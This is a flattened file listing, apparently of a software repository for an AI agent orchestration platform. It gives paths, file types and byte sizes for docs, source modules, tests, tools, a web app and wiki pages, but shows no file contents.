bytesskills/extending.mddoc5,589 bytesskills/fixtures/demo-receipt/README.mddoc1,438 bytesskills/fixtures/demo-receipt/events.jsonlasset10,255 bytesskills/fixtures/demo-receipt/proof.jsonasset5,136 bytesskills/fixtures/demo-receipt/pubkey.jwkasset158 bytesskills/fixtures/demo-receipt/receipt.jsonasset3,600 bytesskills/github-integration.mddoc9,705 bytesskills/healing.mddoc24,156 bytesskills/magic-modules.mddoc10,738 bytesskills/memory.mddoc8,650 bytesskills/mirofish-integration.mddoc4,248 bytesskills/model-selection.mddoc30,678 bytesskills/openspec-integration.mddoc7,181 bytesskills/parallel-workflows.mddoc20,152 bytesskills/patterns-advanced.mddoc6,219 bytesskills/production.mddoc25,968 bytesskills/providers.mddoc17,222 bytesskills/quality-gates.mddoc54,319 bytesskills/testing.mddoc5,801 bytesskills/troubleshooting.mddoc27,448 bytessrc/audit/compliance-scheduler.jsruns10,401 bytessrc/audit/compliance.jsruns7,165 bytessrc/audit/crosslink.jsruns32,119 bytessrc/audit/index.jsruns8,400 bytessrc/audit/log.jsruns5,172 bytessrc/audit/residency.jsruns4,308 bytessrc/audit/subscriber.jsruns7,560 bytessrc/integrations/adapter.jsruns4,254 bytessrc/integrations/github/action-handler.jsruns7,769 bytessrc/integrations/github/reporter.jsruns15,109 bytessrc/integrations/github/templates/execution-summary.mddoc278 bytessrc/integrations/github/templates/quality-report.mddoc394 bytessrc/integrations/jira/api-client.jsruns5,019 bytessrc/integrations/jira/epic-converter.jsruns4,542 bytessrc/integrations/jira/index.jsruns1,378 bytessrc/integrations/jira/sync-manager.jsruns4,563 bytessrc/integrations/jira/webhook-handler.jsruns3,600 bytessrc/integrations/linear/client.jsruns9,558 bytessrc/integrations/linear/config.jsruns4,886 bytessrc/integrations/linear/index.jsruns1,019 bytessrc/integrations/linear/sync.jsruns9,811 bytessrc/integrations/slack/adapter.jsruns5,581 bytessrc/integrations/slack/blocks.jsruns2,704 bytessrc/integrations/slack/commands.jsruns1,805 bytessrc/integrations/slack/index.jsruns53 bytessrc/integrations/slack/webhook-handler.jsruns1,072 bytessrc/integrations/sync-subscriber.jsruns8,205 bytessrc/integrations/teams/adapter.jsruns5,747 bytessrc/integrations/teams/cards.jsruns5,105 bytessrc/integrations/teams/index.jsruns53 bytessrc/integrations/teams/webhook.jsruns395 bytessrc/observability/genai-spans.jsruns4,937 bytessrc/observability/index.jsruns4,059 bytessrc/observability/metrics.jsruns4,352 bytessrc/observability/otel-bridge.jsruns11,253 bytessrc/observability/otel.jsruns19,295 bytessrc/observability/siem-export.jsruns14,121 bytessrc/observability/spans.jsruns6,538 bytessrc/plugins/agent-plugin.jsruns3,721 bytessrc/plugins/gate-plugin.jsruns4,973 bytessrc/plugins/index.jsruns3,821 bytessrc/plugins/integration-plugin.jsruns6,065 bytessrc/plugins/loader.jsruns8,292 bytessrc/plugins/mcp-plugin.jsruns6,169 bytessrc/plugins/schemas/agent.jsonasset1,575 bytessrc/plugins/schemas/integration.jsonasset1,723 bytessrc/plugins/schemas/mcp_tool.jsonasset2,075 bytessrc/plugins/schemas/quality_gate.jsonasset1,542 bytessrc/plugins/validator.jsruns11,408 bytessrc/policies/approval.jsruns11,121 bytessrc/policies/check.jsruns2,332 bytessrc/policies/claude_permissions.jsruns13,101 bytessrc/policies/cost.jsruns18,761 bytessrc/policies/engine.jsruns23,113 bytessrc/policies/index.jsruns5,835 bytessrc/policies/types.jsruns12,395 bytessrc/protocols/a2a/agent-card.jsruns3,458 bytessrc/protocols/a2a/artifacts.jsruns1,827 bytessrc/protocols/a2a/client.jsruns5,600 bytessrc/protocols/a2a/index.jsruns984 bytessrc/protocols/a2a/streaming.jsruns2,757 bytessrc/protocols/a2a/task-manager.jsruns6,066 bytessrc/protocols/auth/oauth.jsruns5,698 bytessrc/protocols/mcp-circuit-breaker.jsruns3,938 bytessrc/protocols/mcp-client-manager.jsruns8,300 bytessrc/protocols/mcp-client.jsruns12,127 bytessrc/protocols/mcp-server.jsruns18,694 bytessrc/protocols/resources/continuity.jsruns1,533 bytessrc/protocols/resources/memory.jsruns3,670 bytessrc/protocols/tools/agent-metrics.jsruns5,246 bytessrc/protocols/tools/checkpoint-restore.jsruns6,460 bytessrc/protocols/tools/project-status.jsruns3,563 bytessrc/protocols/tools/quality-report.jsruns4,113 bytessrc/protocols/tools/start-project.jsruns4,352 bytessrc/protocols/transport/sse.jsruns6,973 bytessrc/protocols/transport/stdio.jsruns2,176 bytessrc/protocols/untrusted.jsruns1,288 bytesstate/__init__.pyruns248 bytesstate/index.tsruns347 bytesstate/manager.pyruns64,298 bytesstate/manager.tsruns48,539 bytesstate/sqlite_backend.pyruns7,665 bytesswarm/__init__.pyruns1,923 bytesswarm/adjuster.pyruns6,242 bytesswarm/bft.pyruns47,729 bytesswarm/calibration.pyruns5,292 bytesswarm/classifier.pyruns9,445 bytesswarm/cli.pyruns15,333 bytesswarm/composer.pyruns8,684 bytesswarm/intelligence.pyruns30,170 bytesswarm/messages.pyruns22,570 bytesswarm/patterns.pyruns29,230 bytesswarm/performance.pyruns7,191 bytesswarm/registry.pyruns21,732 bytesswarm/sycophancy.pyruns4,219 bytestemplates/README.mddoc7,943 bytestemplates/agents/planner.mddoc426 bytestemplates/agents/reviewer.mddoc454 bytestemplates/agents/tester.mddoc436 bytestemplates/ai-chatbot.mddoc12,928 bytestemplates/api-only.mddoc4,135 bytestemplates/blog-platform.mddoc10,739 bytestemplates/chrome-extension.mddoc7,678 bytestemplates/cli-tool.mddoc7,346 bytestemplates/clusters/README.mddoc648 bytestemplates/clusters/code-review.jsonasset1,185 bytestemplates/clusters/performance-audit.jsonasset950 bytestemplates/clusters/refactoring.jsonasset924 bytestemplates/clusters/security-review.jsonasset1,198 bytestemplates/dashboard.mddoc3,960 bytestemplates/data-pipeline.mddoc4,008 bytestemplates/discord-bot.mddoc10,336 bytestemplates/e-commerce.mddoc11,877 bytestemplates/full-stack-demo.mddoc6,280 bytestemplates/game.mddoc4,174 bytestemplates/microservice.mddoc4,292 bytestemplates/mobile-app.mddoc8,410 bytestemplates/npm-library.mddoc3,875 bytestemplates/rest-api-auth.mddoc9,809 bytestemplates/rest-api.mddoc6,810 bytestemplates/saas-starter.mddoc7,578 bytestemplates/simple-todo-app.mddoc830 bytestemplates/slack-bot.mddoc5,140 bytestemplates/static-landing-page.mddoc2,224 bytestemplates/web-scraper.mddoc3,973 bytestests/detect-hallucinated-deps.shruns5,101 bytestests/detect-invariant-violations.shruns18,069 bytestests/detect-mock-problems.shruns23,843 bytestests/detect-semantic-test-problems.shruns17,601 bytestests/detect-test-mutations.shruns23,449 bytestests/min/auto-route.shruns21,672 bytestests/min/cli-entrypoints.shruns1,922 bytestests/min/context-pack.shruns17,985 bytestests/min/decompose-and-intake.shruns31,683 bytestests/min/detect-gates.shruns4,801 bytestests/min/dist-freshness.shruns3,048 bytestests/min/docker-and-zip-sources.shruns5,685 bytestests/min/engine10-e2e-stub.shruns20,882 bytestests/min/fixtures/context/go-ratelimit/repo/go.modasset31 bytestests/min/fixtures/context/go-ratelimit/repo/limiter/clock.goruns250 bytestests/min/fixtures/context/go-ratelimit/repo/limiter/limiter.goruns648 bytestests/min/fixtures/context/go-ratelimit/repo/limiter/limiter_test.goruns150 bytestests/min/fixtures/context/go-ratelimit/repo/server/handler.goruns369 bytestests/min/fixtures/context/go-ratelimit/repo/server/health.goruns173 bytestests/min/fixtures/context/go-ratelimit/solution/limiter/limiter.goruns683 bytestests/min/fixtures/context/go-ratelimit/task.txtdoc255 bytestests/min/fixtures/context/py-accounts/repo/accounts/__init__.pyruns0 bytestests/min/fixtures/context/py-accounts/repo/accounts/audit.pyruns242 bytestests/min/fixtures/context/py-accounts/repo/accounts/errors.pyruns65 bytestests/min/fixtures/context/py-accounts/repo/accounts/models.pyruns120 bytestests/min/fixtures/context/py-accounts/repo/accounts/service.pyruns431 bytestests/min/fixtures/context/py-accounts/repo/accounts/store.pyruns549 bytestests/min/fixtures/context/py-accounts/repo/accounts/validate.pyruns222 bytestests/min/fixtures/context/py-accounts/repo/pytest.iniasset27 bytestests/min/fixtures/context/py-accounts/repo/tests/test_service.pyruns186 bytestests/min/fixtures/context/py-accounts/solution/accounts/errors.pyruns110 bytestests/min/fixtures/context/py-accounts/solution/accounts/service.pyruns538 bytestests/min/fixtures/context/py-accounts/solution/accounts/store.pyruns581 bytestests/min/fixtures/context/py-accounts/task.txtdoc231 bytestests/min/fixtures/context/ts-invoice/opus-brief.goldenasset703 bytestests/min/fixtures/context/ts-invoice/repo/package.jsonruns57 bytestests/min/fixtures/context/ts-invoice/repo/src/customers.tsruns315 bytestests/min/fixtures/context/ts-invoice/repo/src/invoice.tsruns570 bytestests/min/fixtures/context/ts-invoice/repo/src/money.tsruns462 bytestests/min/fixtures/context/ts-invoice/repo/src/report.tsruns412 bytestests/min/fixtures/context/ts-invoice/repo/src/shipping.tsruns200 bytestests/min/fixtures/context/ts-invoice/repo/src/tax.tsruns367 bytestests/min/fixtures/context/ts-invoice/repo/test/invoice.test.tsruns250 bytestests/min/fixtures/context/ts-invoice/solution/src/invoice.tsruns591 bytestests/min/fixtures/context/ts-invoice/solution/src/money.tsruns468 bytestests/min/fixtures/context/ts-invoice/solution/src/tax.tsruns379 bytestests/min/fixtures/context/ts-invoice/task.txtdoc203 bytestests/min/fixtures/e2e/bin/clauderuns16,111 bytestests/min/fixtures/e2e/repo/bunfig.tomlasset7 bytestests/min/fixtures/e2e/repo/calc.test.tsruns344 bytestests/min/fixtures/e2e/repo/calc.tsruns70 bytestests/min/fixtures/e2e/sdk/@anthropic-ai/claude-agent-sdk-stub/clauderuns2,664 bytestests/min/fixtures/e2e/vitest-bin/npxruns550 bytestests/min/fixtures/e2e/vitest-bin/vitestruns5,258 bytestests/min/fixtures/failures/bun-suite-a.txtasset2,793 bytestests/min/fixtures/failures/bun-suite-b.txtdoc1,134 bytestests/min/fixtures/failures/cargo.txtdoc734 bytestests/min/fixtures/failures/dotnet.txtdoc749 bytestests/min/fixtures/failures/gotest.txtdoc195 bytestests/min/fixtures/failures/jest-validation.txtdoc229 bytestests/min/fixtures/failures/jest.txtasset711 bytestests/min/fixtures/failures/pytest.txtdoc906 bytestests/min/fixtures/failures/surefire.txtasset972 bytestests/min/fixtures/failures/vitest-suite-a.txtasset859 bytestests/min/fixtures/failures/vitest-suite-b.txtasset863 bytestests/min/fixtures/failures/vitest.txtasset582 bytestests/min/fixtures/opencode/bin/opencoderuns945 bytestests/min/fixtures/stacks/dotnet/.gitignoreasset10 bytestests/min/fixtures/stacks/dotnet/Calc.Tests/Calc.Tests.csprojasset529 bytestests/min/fixtures/stacks/dotnet/Calc.Tests/CalculatorTests.csasset168 bytestests/min/fixtures/stacks/dotnet/Calc.slnasset1,268 bytestests/min/fixtures/stacks/dotnet/Calc/Calc.csprojasset172 bytestests/min/fixtures/stacks/dotnet/Calc/Calculator.csasset126 bytestests/min/fixtures/stacks/go/calc/calc.goruns159 bytestests/min/fixtures/stacks/go/calc/calc_test.goruns113 bytestests/min/fixtures/stacks/go/cmd/main.goruns111 bytestests/min/fixtures/stacks/go/go.modasset33 bytestests/min/fixtures/stacks/gradle/.gitignoreasset16 bytestests/min/fixtures/stacks/gradle/build.gradleasset351 bytestests/min/fixtures/stacks/gradle/gradle.propertiesasset24 bytestests/min/fixtures/stacks/gradle/settings.gradleasset26 bytestests/min/fixtures/stacks/gradle/src/main/java/demo/Calc.javaasset131 bytestests/min/fixtures/stacks/gradle/src/test/java/demo/CalcTest.javaasset224 bytestests/min/fixtures/stacks/maven/.gitignoreasset8 bytestests/min/fixtures/stacks/maven/pom.xmlasset972 bytestests/min/fixtures/stacks/maven/src/main/java/demo/Calc.javaasset131 bytestests/min/fixtures/stacks/maven/src/test/java/demo/CalcTest.javaasset224 bytestests/min/fixtures/stacks/rust/.gitignoreasset8 bytestests/min/fixtures/stacks/rust/Cargo.tomlasset59 bytestests/min/fixtures/stacks/rust/src/calc.rsasset140 bytestests/min/fixtures/stacks/rust/src/lib.rsasset144 bytestests/min/fixtures/stacks/rust/src/main.rsasset74 bytestests/min/fixtures/triage/bin/ghruns853 bytestests/min/fixtures/triage/issues.jsonasset1,787 bytestests/min/fixtures/triage/jira-search.jsonasset813 bytestests/min/fixtures/triage/jira_server.pyruns1,954 bytestests/min/fixtures/triage/linear-issues.jsonasset960 bytestests/min/h2h-harness.shruns48,024 bytestests/min/host-guard.shruns15,087 bytestests/min/hygiene.shruns10,838 bytestests/min/issue-context.shruns14,522 bytestests/min/learn-from-runs.shruns37,626 bytestests/min/lib.shruns1,919 bytestests/min/newcomer-path.shruns43,810 bytestests/min/one-line-goal.shruns7,722 bytestests/min/outcome-metrics.shruns21,328 bytestests/min/pack-contents.shruns4,528 bytestests/min/providers-supported.shruns19,242 bytestests/min/receipt-roundtrip.shruns4,581 bytestests/min/redaction.shruns3,412 bytestests/min/release-notes.shruns2,386 bytestests/min/run-safety.shruns34,475 bytestests/min/scope-and-fix.shruns45,456 bytestests/min/stacks.shruns17,474 bytestests/min/syntax.shruns2,315 bytestests/min/triage-router.shruns24,367 bytestests/min/typecheck.shruns837 bytestests/min/version-consistency.shruns4,110 bytestests/test-plugin-json-current.shruns8,445 bytestests/test-server-json-current.shruns5,554 bytestools/audit-docs.pyruns20,792 bytestools/baseline-pin.pyruns10,268 bytestools/bench_cross_project_lift.pyruns9,510 bytestools/bench_memory_retrieval.pyruns6,157 bytestools/calibration-audit.pyruns22,775 bytestools/ci-gate.pyruns10,558 bytestools/cost-attribute.pyruns16,605 bytestools/cost-forecast.pyruns14,359 bytestools/cost-guard.pyruns11,221 bytestools/cost-history.pyruns13,173 bytestools/cost-per-outcome.pyruns17,246 bytestools/estimate-run.pyruns16,586 bytestools/gate-badge.pyruns5,960 bytestools/gate-explain.pyruns12,296 bytestools/gate-init.pyruns13,962 bytestools/gate-log.pyruns17,267 bytestools/gate-report.pyruns11,221 bytestools/gate-status.pyruns14,053 bytestools/gate-trend.pyruns14,912 bytestools/hybrid_search.pyruns16,971 bytestools/index-codebase.pyruns27,070 bytestools/model-advisor.pyruns24,691 bytestools/normalize-package-permissions.mjsruns1,135 bytestools/outcome-canary-evaluate.pyruns10,957 bytestools/outcome-canary-observe.pyruns10,185 bytestools/outcome-canary-receipt-verify.pyruns7,825 bytestools/outcome-canary-receipt.pyruns10,053 bytestools/outcome-canary.pyruns9,271 bytestools/outcome-router.pyruns5,011 bytestools/policy-diff.pyruns8,385 bytestools/policy-load.pyruns8,745 bytestools/preflight.shruns15,835 bytestools/probe-model-catalog.pyruns4,866 bytestools/proof-passport.pyruns7,182 bytestools/receipt-attest.pyruns15,581 bytestools/receipt-bundle.pyruns16,404 bytestools/receipt-diff.pyruns11,700 bytestools/receipt-export.pyruns14,619 bytestools/receipt-find.pyruns13,627 bytestools/receipt-stats.pyruns15,796 bytestools/receipt-verify-batch.pyruns11,853 bytestools/regen-state-machine-refs.pyruns6,997 bytestools/run-replay.pyruns16,915 bytestools/token-guard.pyruns10,412 bytestools/tool-index.pyruns6,974 bytestools/verification-tax.pyruns10,983 bytestools/verify-chain.pyruns16,253 bytestools/verify-demo.shruns8,827 bytesvendor/autonomi-verify/LICENSEasset1,750 bytesvendor/autonomi-verify/README.mddoc2,149 bytesvendor/autonomi-verify/embed.jsruns5,303 bytesweb-app/.gitignoreasset14 bytesweb-app/Dockerfileruns1,581 bytesweb-app/alembic.iniasset741 bytesweb-app/auth.pyruns10,450 bytesweb-app/crypto.pyruns2,837 bytesweb-app/deploy/k8s/purple-lab/configmap.yamlasset149 bytesweb-app/deploy/k8s/purple-lab/deployment.yamlasset1,698 bytesweb-app/deploy/k8s/purple-lab/hpa.yamlasset489 bytesweb-app/deploy/k8s/purple-lab/ingress.yamlasset887 bytesweb-app/deploy/k8s/purple-lab/networkpolicy.yamlasset1,738 bytesweb-app/deploy/k8s/purple-lab/pdb.yamlasset182 bytesweb-app/deploy/k8s/purple-lab/postgres.yamlasset2,100 bytesweb-app/deploy/k8s/purple-lab/pvc.yamlasset169 bytesweb-app/deploy/k8s/purple-lab/secret.yamlasset376 bytesweb-app/deploy/k8s/purple-lab/service.yamlasset199 bytesweb-app/deploy/k8s/purple-lab/serviceaccount.yamlasset131 bytesweb-app/dist/assets/AdminPage-0bmzFL_H.jsruns51,063 bytesweb-app/dist/assets/Avatar-CCOnr1Br.jsruns2,080 bytesweb-app/dist/assets/Badge-OabKAhBk.jsruns1,144 bytesweb-app/dist/assets/Button-Pb6cYL9O.jsruns1,311 bytesweb-app/dist/assets/CockpitPage-C42HXGgd.jsruns49,411 bytesweb-app/dist/assets/ComparePage-CzTHDUhY.jsruns11,493 bytesweb-app/dist/assets/ErrorBoundary-iEMh3HfQ.jsruns2,747 bytesweb-app/dist/assets/EvidenceReceiptPanel-tsCWt07q.jsruns7,488 bytesweb-app/dist/assets/GitHubIssuesPanel-Dynw9316.jsruns12,099 bytesweb-app/dist/assets/GitHubPRsPanel-cQ-fQo3W.jsruns22,493 bytesweb-app/dist/assets/HomePage-mHgVLI9j.jsruns68,642 bytesweb-app/dist/assets/LoginPage-BCsBRGUT.jsruns3,798 bytesweb-app/dist/assets/MagicPage-NPSBAxfc.jsruns25,266 bytesweb-app/dist/assets/MetricsPage-DE5BYswy.jsruns11,617 bytesweb-app/dist/assets/NotFoundPage-ChakqXtu.jsruns1,085 bytesweb-app/dist/assets/ProjectPage-9CEnUXvW.cssasset5,752 bytesweb-app/dist/assets/ProjectPage-BCv8qSrj.jsruns608,353 bytesweb-app/dist/assets/ProjectsPage-D7t3kXi1.jsruns10,430 bytesweb-app/dist/assets/SettingsPage-DWcOoseJ.jsruns29,532 bytesweb-app/dist/assets/ShowcasePage-BGBS53rc.jsruns10,530 bytesweb-app/dist/assets/SystemSettingsPage-DnlNsHR1.jsruns16,842 bytesweb-app/dist/assets/TeamsPage-gbdyps5P.jsruns22,510 bytesweb-app/dist/assets/TemplatesPage-CoCS7TBP.jsruns41,347 bytesweb-app/dist/assets/TerminalOutput-Bu59uXM6.jsruns5,769 bytesweb-app/dist/assets/activity-RK1kWujc.jsruns407 bytesweb-app/dist/assets/bell-PkQgU5tb.jsruns463 bytesweb-app/dist/assets/bot-KfQKc1W2.jsruns501 bytesweb-app/dist/assets/check-CLP-eFsI.jsruns292 bytesweb-app/dist/assets/chevron-left-L1ARkN2A.jsruns303 bytesweb-app/dist/assets/circle-alert-DQaOtcz7.jsruns423 bytesweb-app/dist/assets/clock-Dj81AT7o.jsruns337 bytesweb-app/dist/assets/cloud-CBc9HiD3.jsruns333 bytesweb-app/dist/assets/code-xml-Cg-6mn1e.jsruns381 bytesweb-app/dist/assets/database-hcC4hh9n.jsruns416 bytesweb-app/dist/assets/dollar-sign-D7KwqRKC.jsruns392 bytesweb-app/dist/assets/file-code-corner-BeiPZfPk.jsruns533 bytesweb-app/dist/assets/file-plus-Bbb3V7O6.jsruns522 bytesweb-app/dist/assets/globe-ePwFFIti.jsruns410 bytesweb-app/dist/assets/hammer-DCZkTmjn.jsruns568 bytesweb-app/dist/assets/index-Cx7e1d6w.cssasset99,315 bytesweb-app/dist/assets/index-DOUc1fHo.jsruns349,286 bytesweb-app/dist/assets/layers-DCsRb5Mz.jsruns594 bytesweb-app/dist/assets/loader-circle-20jch_P3.jsruns312 bytesweb-app/dist/assets/lock-BR3SVeMz.jsruns374 bytesweb-app/dist/assets/package-BBTTXS5s.jsruns545 bytesweb-app/dist/assets/plus-Djq8BzoS.jsruns326 bytesweb-app/dist/assets/refresh-cw-wsCa1mCg.jsruns494 bytesweb-app/dist/assets/rotate-ccw-DR6yOe_5.jsruns927 bytesweb-app/dist/assets/scroll-text-B8xdqAGX.jsruns522 bytesweb-app/dist/assets/server-Dm3VKzKU.jsruns511 bytesweb-app/dist/assets/shield-alert-CG6IydWg.jsruns526 bytesweb-app/dist/assets/thumbs-up-Dm-ujUy6.jsruns2,628 bytesweb-app/dist/assets/trash-2-BqO_GJJk.jsruns1,277 bytesweb-app/dist/assets/trending-down-DaPKY5Q9.jsruns351 bytesweb-app/dist/assets/trending-up-COtd-NWK.jsruns348 bytesweb-app/dist/assets/upload-CbiA6m9-.jsruns403 bytesweb-app/dist/assets/usePolling--6qRWxz8.jsruns510 bytesweb-app/dist/assets/user-DD2d70oe.jsruns364 bytesweb-app/dist/index.htmlasset800 bytesweb-app/docker-compose.purple-lab.ymlasset1,924 bytesweb-app/eslint.config.jsruns874 bytesweb-app/index.htmlasset694 bytesweb-app/migrations/env.pyruns3,310 bytesweb-app/migrations/script.py.makoasset634 bytesweb-app/migrations/versions/.gitkeepasset0 bytesweb-app/migrations/versions/001_initial_schema.pyruns3,761 bytesweb-app/models.pyruns4,974 bytesweb-app/package-lock.jsonasset149,322 bytesweb-app/package.jsonruns1,063 bytesweb-app/postcss.config.jsruns80 bytesweb-app/requirements.txtdoc902 bytesweb-app/server.pyruns380,020 bytesweb-app/src/App.tsxruns4,389 bytesweb-app/src/api/client.tsruns31,292 bytesweb-app/src/cockpit/AgentChatter.tsxruns3,409 bytesweb-app/src/cockpit/ChangeReview.tsxruns6,708 bytesweb-app/src/cockpit/EvidencePanel.tsxruns8,002 bytesweb-app/src/cockpit/ExecutionCockpit.tsxruns10,123 bytesweb-app/src/cockpit/FinalActions.tsxruns10,825 bytesweb-app/src/cockpit/PhaseTimeline.tsxruns5,386 bytesweb-app/src/cockpit/RiskPanel.tsxruns8,454 bytesweb-app/src/cockpit/RunMetrics.tsxruns3,764 bytesweb-app/src/cockpit/StatusBanner.tsxruns4,548 bytesweb-app/src/cockpit/TaskHeader.tsxruns4,523 bytesweb-app/src/cockpit/derive.tsruns4,283 bytesweb-app/src/cockpit/phases.tsruns4,188 bytesweb-app/src/cockpit/run-derive-view-test.mjsruns1,344 bytesweb-app/src/cockpit/useCockpitState.tsruns12,484 bytesweb-app/src/components/AIChatPanel.tsxruns37,441 bytesweb-app/src/components/AchievementToast.tsxruns3,342 bytesweb-app/src/components/ActivityFeed.tsxruns6,654 bytesweb-app/src/components/ActivityPanel.tsxruns7,338 bytesweb-app/src/components/AgentDashboard.tsxruns4,079 bytesweb-app/src/components/AuditTrail.tsxruns17,348 bytesweb-app/src/components/Avatar.tsxruns2,230 bytesweb-app/src/components/BenefitCards.tsxruns2,006 bytesweb-app/src/components/BuildActivityFeed.tsxruns8,667 bytesweb-app/src/components/BuildCelebration.tsxruns2,102 bytesweb-app/src/components/BuildInsights.tsxruns13,209 bytesweb-app/src/components/BuildProgressBar.tsxruns6,336 bytesweb-app/src/components/BuildReplay.tsxruns4,341 bytesweb-app/src/components/CICDPanel.tsxruns27,787 bytesweb-app/src/components/Celebration.tsxruns3,025 bytesweb-app/src/components/ChangePreview.tsxruns11,147 bytesweb-app/src/components/ChangelogWidget.tsxruns856 bytesweb-app/src/components/CheckpointTimeline.tsxruns6,076 bytesweb-app/src/components/CommandPalette.tsxruns15,564 bytesweb-app/src/components/ComplianceDashboard.tsxruns11,488 bytesweb-app/src/components/ContextualHelp.tsxruns3,308 bytesweb-app/src/components/ControlBar.tsxruns3,859 bytesweb-app/src/components/CostEstimator.tsxruns9,366 bytesweb-app/src/components/CustomTemplateCreator.tsxruns15,001 bytesweb-app/src/components/DeployConnections.tsxruns17,329 bytesweb-app/src/components/DeployPanel.tsxruns17,109 bytesweb-app/src/components/DeviceFrameSelector.tsxruns2,522 bytesweb-app/src/components/Divider.tsxruns574 bytesweb-app/src/components/DocsSidebar.tsxruns17,139 bytesweb-app/src/components/ErrorBoundary.tsxruns2,650 bytesweb-app/src/components/EvidenceReceiptPanel.tsxruns15,659 bytesweb-app/src/components/FeatureDiscoveryDot.tsxruns2,267 bytesweb-app/src/components/FeaturedTemplates.tsxruns10,277 bytesweb-app/src/components/FileBrowser.tsxruns7,827 bytesweb-app/src/components/Footer.tsxruns3,855 bytesweb-app/src/components/GettingStarted.tsxruns7,678 bytesweb-app/src/components/GitHubIssuesPanel.tsxruns21,080 bytesweb-app/src/components/GitHubPRsPanel.tsxruns37,905 bytesweb-app/src/components/GitPanel.tsxruns29,160 bytesweb-app/src/components/HowItWorks.tsxruns5,551 bytesweb-app/src/components/KeyboardShortcuts.tsxruns7,878 bytesweb-app/src/components/LoadingMessages.tsxruns1,763 bytesweb-app/src/components/MagicComponentCard.tsxruns10,248 bytesweb-app/src/components/MagicGeneratorPanel.tsxruns15,921 bytesweb-app/src/components/MemoryViewer.tsxruns3,779 bytesweb-app/src/components/MetricsPanel.tsxruns3,057 bytesweb-app/src/components/NLSearch.tsxruns12,139 bytesweb-app/src/components/NotificationSystem.tsxruns4,356 bytesweb-app/src/components/OnboardingOverlay.tsxruns4,241 bytesweb-app/src/components/OpenSourceStats.tsxruns6,295 bytesweb-app/src/components/PRDInput.tsxruns9,842 bytesweb-app/src/components/PhaseVisualizer.tsxruns5,416 bytesweb-app/src/components/PlanModal.tsxruns5,270 bytesweb-app/src/components/PreviewToolbar.tsxruns7,679 bytesweb-app/src/components/ProductTour.tsxruns9,545 bytesweb-app/src/components/ProjectGovernance.tsxruns13,513 bytesweb-app/src/components/ProjectWorkspace.tsxruns115,890 bytesweb-app/src/components/QualityGatesPanel.tsxruns4,519 bytesweb-app/src/components/RBACPanel.tsxruns11,130 bytesweb-app/src/components/ROICalculator.tsxruns5,746 bytesweb-app/src/components/ReportPanel.tsxruns5,970 bytesweb-app/src/components/Roadmap.tsxruns5,230 bytesweb-app/src/components/SessionHistory.tsxruns3,175 bytesweb-app/src/components/SmartSuggestions.tsxruns7,263 bytesweb-app/src/components/StatusBar.tsxruns5,816 bytesweb-app/src/components/StatusOverview.tsxruns1,349 bytesweb-app/src/components/Tag.tsxruns1,689 bytesweb-app/src/components/TeamPanel.tsxruns8,954 bytesweb-app/src/components/TemplatePreview.tsxruns13,195 bytesweb-app/src/components/TerminalEmulator.tsxruns7,698 bytesweb-app/src/components/TerminalOutput.tsxruns6,883 bytesweb-app/src/components/TokenSparkline.tsxruns2,204 bytesweb-app/src/components/TrustedBy.tsxruns2,539 bytesweb-app/src/components/UsageAnalytics.tsxruns15,937 bytesweb-app/src/components/UserManagement.tsxruns16,181 bytesweb-app/src/components/VirtualList.tsxruns2,534 bytesweb-app/src/components/WarmEmptyState.tsxruns4,004 bytesweb-app/src/components/WhatsNew.tsxruns4,798 bytesweb-app/src/components/auth/ProtectedRoute.tsxruns898 bytesweb-app/src/components/charts/DonutChart.tsxruns5,221 bytesweb-app/src/components/charts/LineChart.tsxruns7,239 bytesweb-app/src/components/layout/AppShell.tsxruns1,633 bytesweb-app/src/components/layout/Sidebar.tsxruns13,199 bytesweb-app/src/components/settings/SettingInput.tsxruns2,111 bytesweb-app/src/components/settings/SettingSelect.tsxruns1,459 bytesweb-app/src/components/settings/SettingSlider.tsxruns1,819 bytesweb-app/src/components/settings/SettingToggle.tsxruns1,648 bytesweb-app/src/components/ui/Badge.tsxruns1,593 bytesweb-app/src/components/ui/Button.tsxruns2,474 bytesweb-app/src/components/ui/Card.tsxruns1,098 bytesweb-app/src/components/ui/ContextMenu.tsxruns3,245 bytesweb-app/src/components/ui/IconButton.tsxruns1,202 bytesweb-app/src/components/ui/Skeleton.tsxruns2,242 bytesweb-app/src/contexts/NotificationContext.tsxruns3,029 bytesweb-app/src/hooks/useAuth.tsxruns7,360 bytesweb-app/src/hooks/useEscapeKey.tsruns1,488 bytesweb-app/src/hooks/useFocusTrap.tsruns2,082 bytesweb-app/src/hooks/usePolling.tsruns1,198 bytesweb-app/src/hooks/usePullToRefresh.tsruns2,686 bytesweb-app/src/hooks/useTheme.tsruns710 bytesweb-app/src/hooks/useWebSocket.tsruns1,565 bytesweb-app/src/index.cssasset11,173 bytesweb-app/src/main.tsxruns594 bytesweb-app/src/pages/AdminPage.tsxruns12,958 bytesweb-app/src/pages/CockpitPage.tsxruns836 bytesweb-app/src/pages/ComparePage.tsxruns9,838 bytesweb-app/src/pages/HomePage.tsxruns23,345 bytesweb-app/src/pages/LoginPage.tsxruns4,567 bytesweb-app/src/pages/MagicPage.tsxruns9,704 bytesweb-app/src/pages/MetricsPage.tsxruns11,124 bytesweb-app/src/pages/NotFoundPage.tsxruns1,223 bytesweb-app/src/pages/ProjectPage.tsxruns2,296 bytesweb-app/src/pages/ProjectsPage.tsxruns13,794 bytesweb-app/src/pages/SettingsPage.tsxruns43,575 bytesweb-app/src/pages/ShowcasePage.tsxruns7,707 bytesweb-app/src/pages/SystemSettingsPage.tsxruns25,592 bytesweb-app/src/pages/TeamsPage.tsxruns12,541 bytesweb-app/src/pages/TemplatesPage.tsxruns24,667 bytesweb-app/src/styles/animations.cssasset10,813 bytesweb-app/src/types/api.tsruns5,301 bytesweb-app/src/vite-env.d.tsruns38 bytesweb-app/tailwind.config.jsruns1,939 bytesweb-app/tsconfig.jsonasset689 bytesweb-app/vite.config.tsruns614 byteswiki/API-Reference.mddoc32,749 byteswiki/Architecture.mddoc22,112 byteswiki/Audit-Logging.mddoc6,381 byteswiki/CLI-Reference.mddoc58,752 byteswiki/Changelog.mddoc15,185 byteswiki/Completion-Council.mddoc6,673 byteswiki/Configuration.mddoc10,800 byteswiki/Contributing.mddoc5,787 byteswiki/Cross-Project-Learning.mddoc6,569 byteswiki/Dashboard.mddoc6,883 byteswiki/Enterprise-Features.mddoc14,783 byteswiki/Enterprise-Setup.mddoc7,132 byteswiki/Enterprise.mddoc5,104 byteswiki/Environment-Variables.mddoc24,112 byteswiki/FAQ.mddoc7,132 byteswiki/Getting-Started.mddoc3,684 byteswiki/GitHub-Integration.mddoc3,882 byteswiki/Home.mddoc8,034 byteswiki/Installation.mddoc3,635 byteswiki/Knowledge-Compounding.mddoc7,049 